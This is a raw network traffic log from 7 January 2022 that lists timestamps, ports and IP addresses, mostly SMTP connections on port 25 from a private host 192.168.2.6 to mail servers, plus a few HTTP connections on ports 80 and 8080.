Jan 7, 2022 15:43:58.211703062 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.211714029 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.211729050 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.211745024 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.211755991 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.211770058 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.211802006 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.211843967 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.211858988 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.211877108 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.211894035 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.211903095 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.212008953 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.212024927 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.212034941 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.212049961 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.212065935 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.212080956 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.212091923 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.212109089 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.212163925 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.212178946 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.212188005 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.212239027 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.212280989 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.212296009 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.212414026 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.212430000 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.212527037 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.212543011 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.212632895 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.212650061 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.212665081 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.212675095 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.212691069 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.212702990 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.212879896 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.212927103 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.212943077 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.212965012 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.212975025 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.212989092 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.213044882 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.213059902 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.213308096 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.213323116 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.213336945 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.213351965 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.213366985 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.213551044 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.213608027 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.213686943 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.213702917 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.213716984 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.213732004 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.213746071 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.213759899 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.213773966 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.213788033 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.213803053 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.213819027 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.213834047 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.213849068 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.213862896 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.320595026 CET	49966	25	192.168.2.6	131.107.88.24
Jan 7, 2022 15:43:58.491339922 CET	49961	25	192.168.2.6	142.250.145.26
Jan 7, 2022 15:43:58.517787933 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.517925978 CET	49961	25	192.168.2.6	142.250.145.26
Jan 7, 2022 15:43:58.517968893 CET	49961	25	192.168.2.6	142.250.145.26
Jan 7, 2022 15:43:58.544436932 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.544461012 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.544687033 CET	49961	25	192.168.2.6	142.250.145.26
Jan 7, 2022 15:43:58.544733047 CET	49961	25	192.168.2.6	142.250.145.26
Jan 7, 2022 15:43:58.571144104 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.571187019 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.571214914 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.571388960 CET	49961	25	192.168.2.6	142.250.145.26
Jan 7, 2022 15:43:58.571535110 CET	49961	25	192.168.2.6	142.250.145.26
Jan 7, 2022 15:43:58.598104000 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.598140955 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.598169088 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.598193884 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.598216057 CET	49961	25	192.168.2.6	142.250.145.26
Jan 7, 2022 15:43:58.598269939 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.598278999 CET	49961	25	192.168.2.6	142.250.145.26
Jan 7, 2022 15:43:58.598318100 CET	49961	25	192.168.2.6	142.250.145.26
Jan 7, 2022 15:43:58.598345995 CET	49961	25	192.168.2.6	142.250.145.26
Jan 7, 2022 15:43:58.598366976 CET	49961	25	192.168.2.6	142.250.145.26
Jan 7, 2022 15:43:58.625713110 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.625757933 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.625796080 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.625838995 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.625875950 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.625885010 CET	49961	25	192.168.2.6	142.250.145.26
Jan 7, 2022 15:43:58.625960112 CET	49961	25	192.168.2.6	142.250.145.26
Jan 7, 2022 15:43:58.625996113 CET	49961	25	192.168.2.6	142.250.145.26
Jan 7, 2022 15:43:58.626136065 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.626173973 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.626214981 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.626250982 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.653677940 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.653704882 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.653723955 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.653740883 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.653868914 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.653887033 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.653904915 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.653920889 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.653994083 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.654014111 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.654031992 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.654109955 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.654364109 CET	49961	25	192.168.2.6	142.250.145.26
Jan 7, 2022 15:43:58.654455900 CET	49961	25	192.168.2.6	142.250.145.26
Jan 7, 2022 15:43:58.654504061 CET	49961	25	192.168.2.6	142.250.145.26
Jan 7, 2022 15:43:58.654536009 CET	49961	25	192.168.2.6	142.250.145.26
Jan 7, 2022 15:43:58.681092978 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.681127071 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.681154013 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.681180000 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.681207895 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.681231976 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.681257963 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.681266069 CET	49961	25	192.168.2.6	142.250.145.26
Jan 7, 2022 15:43:58.681283951 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.681312084 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.681340933 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.681365967 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.681366920 CET	49961	25	192.168.2.6	142.250.145.26
Jan 7, 2022 15:43:58.681380033 CET	49961	25	192.168.2.6	142.250.145.26
Jan 7, 2022 15:43:58.681392908 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.681395054 CET	49961	25	192.168.2.6	142.250.145.26
Jan 7, 2022 15:43:58.681418896 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.681425095 CET	49961	25	192.168.2.6	142.250.145.26
Jan 7, 2022 15:43:58.681444883 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.681474924 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.681503057 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.681504011 CET	49961	25	192.168.2.6	142.250.145.26
Jan 7, 2022 15:43:58.681526899 CET	49961	25	192.168.2.6	142.250.145.26
Jan 7, 2022 15:43:58.681546926 CET	49961	25	192.168.2.6	142.250.145.26
Jan 7, 2022 15:43:58.681588888 CET	49961	25	192.168.2.6	142.250.145.26
Jan 7, 2022 15:43:58.681591988 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.681607008 CET	49961	25	192.168.2.6	142.250.145.26
Jan 7, 2022 15:43:58.681617022 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.681633949 CET	49961	25	192.168.2.6	142.250.145.26
Jan 7, 2022 15:43:58.681643963 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.681657076 CET	49961	25	192.168.2.6	142.250.145.26
Jan 7, 2022 15:43:58.681672096 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.681674957 CET	49961	25	192.168.2.6	142.250.145.26
Jan 7, 2022 15:43:58.681695938 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.681713104 CET	49961	25	192.168.2.6	142.250.145.26
Jan 7, 2022 15:43:58.681723118 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.681735039 CET	49961	25	192.168.2.6	142.250.145.26
Jan 7, 2022 15:43:58.681750059 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.681771040 CET	49961	25	192.168.2.6	142.250.145.26
Jan 7, 2022 15:43:58.681777000 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.681792021 CET	49961	25	192.168.2.6	142.250.145.26
Jan 7, 2022 15:43:58.681804895 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.681828976 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.681844950 CET	49961	25	192.168.2.6	142.250.145.26
Jan 7, 2022 15:43:58.681854963 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.681869030 CET	49961	25	192.168.2.6	142.250.145.26
Jan 7, 2022 15:43:58.681881905 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.681909084 CET	49961	25	192.168.2.6	142.250.145.26
Jan 7, 2022 15:43:58.681943893 CET	49961	25	192.168.2.6	142.250.145.26
Jan 7, 2022 15:43:58.681967974 CET	49961	25	192.168.2.6	142.250.145.26
Jan 7, 2022 15:43:58.681991100 CET	49961	25	192.168.2.6	142.250.145.26
Jan 7, 2022 15:43:58.681993961 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.682020903 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.682024002 CET	49961	25	192.168.2.6	142.250.145.26
Jan 7, 2022 15:43:58.682049990 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.682056904 CET	49961	25	192.168.2.6	142.250.145.26
Jan 7, 2022 15:43:58.682075977 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.682085991 CET	49961	25	192.168.2.6	142.250.145.26
Jan 7, 2022 15:43:58.682145119 CET	49961	25	192.168.2.6	142.250.145.26
Jan 7, 2022 15:43:58.682162046 CET	49961	25	192.168.2.6	142.250.145.26
Jan 7, 2022 15:43:58.682216883 CET	49961	25	192.168.2.6	142.250.145.26
Jan 7, 2022 15:43:58.709919930 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.710140944 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.710170031 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.710197926 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.710226059 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.710252047 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.710282087 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.710297108 CET	49961	25	192.168.2.6	142.250.145.26
Jan 7, 2022 15:43:58.710377932 CET	49961	25	192.168.2.6	142.250.145.26
Jan 7, 2022 15:43:58.710406065 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.710436106 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.710453033 CET	49961	25	192.168.2.6	142.250.145.26
Jan 7, 2022 15:43:58.710467100 CET	49961	25	192.168.2.6	142.250.145.26
Jan 7, 2022 15:43:58.710516930 CET	49961	25	192.168.2.6	142.250.145.26
Jan 7, 2022 15:43:58.710592031 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.710621119 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.710647106 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.710711956 CET	49961	25	192.168.2.6	142.250.145.26
Jan 7, 2022 15:43:58.710762024 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.710789919 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.710901976 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.710906029 CET	49961	25	192.168.2.6	142.250.145.26
Jan 7, 2022 15:43:58.710927963 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.710947990 CET	49961	25	192.168.2.6	142.250.145.26
Jan 7, 2022 15:43:58.710992098 CET	49961	25	192.168.2.6	142.250.145.26
Jan 7, 2022 15:43:58.711040020 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.711232901 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.711267948 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.711302996 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.711376905 CET	49961	25	192.168.2.6	142.250.145.26
Jan 7, 2022 15:43:58.711419106 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.711514950 CET	49961	25	192.168.2.6	142.250.145.26
Jan 7, 2022 15:43:58.711783886 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.711812019 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.711838961 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.711867094 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.711934090 CET	49961	25	192.168.2.6	142.250.145.26
Jan 7, 2022 15:43:58.711971998 CET	49961	25	192.168.2.6	142.250.145.26
Jan 7, 2022 15:43:58.711990118 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.712019920 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.712047100 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.712061882 CET	49961	25	192.168.2.6	142.250.145.26
Jan 7, 2022 15:43:58.712073088 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.712100029 CET	49961	25	192.168.2.6	142.250.145.26
Jan 7, 2022 15:43:58.712600946 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.712629080 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.712656975 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.712682009 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.712709904 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.712739944 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.712764978 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.712790966 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.712817907 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.712845087 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.712903976 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.712934971 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.712953091 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.712980032 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.713006973 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.713033915 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.713061094 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.713085890 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.713113070 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.713139057 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.713162899 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.713190079 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.713263988 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.713291883 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.713319063 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.713349104 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.713375092 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.713402033 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.713428974 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.713454962 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.713481903 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.713506937 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.713534117 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.713561058 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.713587999 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.713617086 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.713644028 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.713668108 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.713694096 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.713721037 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.713749886 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.713777065 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.713803053 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.713830948 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.713857889 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.713881969 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.737369061 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.737595081 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.737626076 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.737852097 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.737879038 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.737905025 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.737931967 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.737957954 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.737982988 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.738096952 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.738126040 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.738152027 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.738204956 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.738346100 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.738377094 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.738403082 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.738420963 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.738447905 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.738465071 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.738497972 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.738590002 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.738616943 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.738643885 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.738671064 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.738856077 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.738883018 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.738964081 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.739847898 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.739873886 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.739901066 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.739927053 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.739955902 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.740528107 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.740653038 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.740825891 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.740880013 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.740909100 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.740936995 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.740962029 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.740991116 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.741265059 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.741293907 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.741535902 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.741695881 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.741724014 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.741749048 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.741775036 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.741801023 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.741833925 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.741862059 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.741885900 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.741914034 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.741940022 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.742310047 CET	49961	25	192.168.2.6	142.250.145.26
Jan 7, 2022 15:43:58.742377996 CET	49961	25	192.168.2.6	142.250.145.26
Jan 7, 2022 15:43:58.768915892 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.773849010 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.846343040 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.846471071 CET	49961	25	192.168.2.6	142.250.145.26
Jan 7, 2022 15:43:59.073370934 CET	49967	80	192.168.2.6	193.166.255.171
Jan 7, 2022 15:43:59.085119009 CET	49933	25	192.168.2.6	131.107.88.24
Jan 7, 2022 15:43:59.194494963 CET	49951	80	192.168.2.6	193.166.255.171
Jan 7, 2022 15:43:59.194544077 CET	49952	8080	192.168.2.6	193.166.255.171
Jan 7, 2022 15:43:59.574960947 CET	49968	80	192.168.2.6	193.166.255.171
Jan 7, 2022 15:43:59.788242102 CET	49955	80	192.168.2.6	193.166.255.171
Jan 7, 2022 15:43:59.991393089 CET	49936	8080	192.168.2.6	193.166.255.171
Jan 7, 2022 15:44:00.049357891 CET	49969	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:00.102221012 CET	25	49969	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:00.102356911 CET	49969	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:00.156080008 CET	25	49969	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:00.156209946 CET	49969	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:00.208277941 CET	25	49969	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:00.210869074 CET	25	49969	142.250.150.26	192.168.2.6
